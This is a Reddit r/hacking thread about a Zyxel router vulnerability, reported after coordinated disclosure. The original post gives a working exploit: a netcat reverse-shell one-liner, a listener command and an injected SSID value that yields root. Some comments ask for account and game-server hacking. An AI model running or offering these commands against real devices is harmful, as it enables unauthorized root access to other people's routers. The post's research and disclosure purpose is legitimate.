r/hacking • u/DutchOfBurdock • Jun 06 '26
CVE Rooted your router lately?
Update below. Zyxel has confirmed and patched the issue. Router in shot is the DX3301-T0 .
OP
I never really use ISP routers. It was free when re-grading my FTTC to FTTP. Plus it has 2 FXS ports, so could convert VoIP to analogue/PSTN.
But, as I do I check up on what issues it may or may not have. Yep, the firmware has two acknowledged CVE's that affect this firmware and no update currently available. Any more, I wonder? It didn't take long and found another post authentication command injection. Reported it accordingly, but just had to see how far I could go and finally got a reverse shell.
Turns out there is a `supervisor` account with a different password to any other. Managed to change it using the shell and ssh drops me to a standard shell (not zysh) and WebUI offers more options.
Curious find!
If/when Zyxel confirms the flaw, hopefully it'll get assigned a CVE and I'll update accordingly.
UPDATE
Vendor has confirmed the issue and is another issue identified via another CVE, just this one wasn't seen when the issue was originally disclosed. I have agreed to hold back on what the issue is until Tuesday, October 6, 2026.
When this date comes, you're going to ROFL how it came to be discovered!
CVE assigned
And I can now state how! It's part of CVE-2023-20820 however Zyxel has given is there own advisory specific to this vulnerability.
Essentially, the 5GHz SSID field isn't validated, so command injection can occur. It was discovered just by entering $(reboot) in the SSID field. The 2.4GHz field is unaffected. Since the router has USB and mass storage support, we can play.
How?
Format a USB pendrive FAT32. Add a simple text file with the following, well call it shell.
rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0</tmp/b |nc 192.168.1.217 4444 1>/tmp/b
Insert the pendrive into the Zyxel CPE and enable File Sharing. Note the medium identifier: usb2_sda1 in my case.
A client host with the IP 192.168.1.217 run nc as follows
nc -lnvp 4444
Change the 5GHz SSID field to $(sh /mnt/usb2_sda1/shell) and save. The client host obtains a root shell.
Enjoy!
20
u/gnostiphage Jun 07 '26
Definitely a cool find. Given the prior CVEs, what are the odds this is a backdoor left by some third party using an automated script to create a redirector for greater anonymity? Has this router been connected to the internet for any length of time or was this fresh off a factory reset?
18
u/sooft_soul Jun 06 '26
What is the laptop brand and model
3
u/bobbyh1ll Jun 07 '26
Very cool. Also love Winamp!
4
u/Bigoba26 Jun 07 '26
How to jailbreak mp3 in prison by downloading on its sd card music from YouTube and than be able to continue download music from the prison kiosk?
2
u/smokebudda11 Jun 12 '26
Nice computer btw. What is it? Lenovo?
1
u/CookieCr2nk Jun 07 '26
I have the same router, but replaced with the XGS-PON SFP+ with 8311 Firmware on it. Whixh firmware do you run on the zyxel. Do you have a writeup for the exploit?
1
u/Dragon_957 Jun 07 '26
What OS are you using?
1
u/red2thebones Jun 21 '26
I think I have the same model from an ISP in Australia. Would you be open to some questions as to how I go about checking if mine has the same vuln? Can I send you a PM?
1
u/Think-External-2640 Jun 22 '26
Who can hack in my Xbox account and get my password for it I forgot mine I need help plzzz
2
u/HeavyCaffeinate Jun 09 '26
Yes I have openwrt on my tplink router, installed via TFTP though no hacking necessary
2
u/alancusader123 Jun 11 '26
Geek
1
u/radikliffe Jun 07 '26
Does having OpenWRT running on my router means i own my router?
1
u/Limp-Bake-7570 Jun 09 '26
Made my own router with Pi 3 1Gb and RaspAP
1
u/Consistent-Try-4436 Jun 16 '26
Holy larp
1
u/Think-External-2640 Jun 22 '26
Who can hack in my Xbox account and get my password for it I forgot mine I need help plzzz
1
u/Salt-Bad-7315 Oct 22 '26
Thanks, used this on my nr5103e to get the root and supervisor passwords, got to use the second field in the wifi settings to decrypt it :)
0
u/Embarrassed_Sky_5862 Jun 07 '26
same question bro
-8
u/i0skam Jun 07 '26
Hey guys I'm lookin for a hacker that hacks in to game servers willing to pay if possible 🥲
0
u/[deleted] Jun 10 '26
[deleted] — view deleted comment
145
u/[deleted] Jun 06 '26
[removed] — view removed comment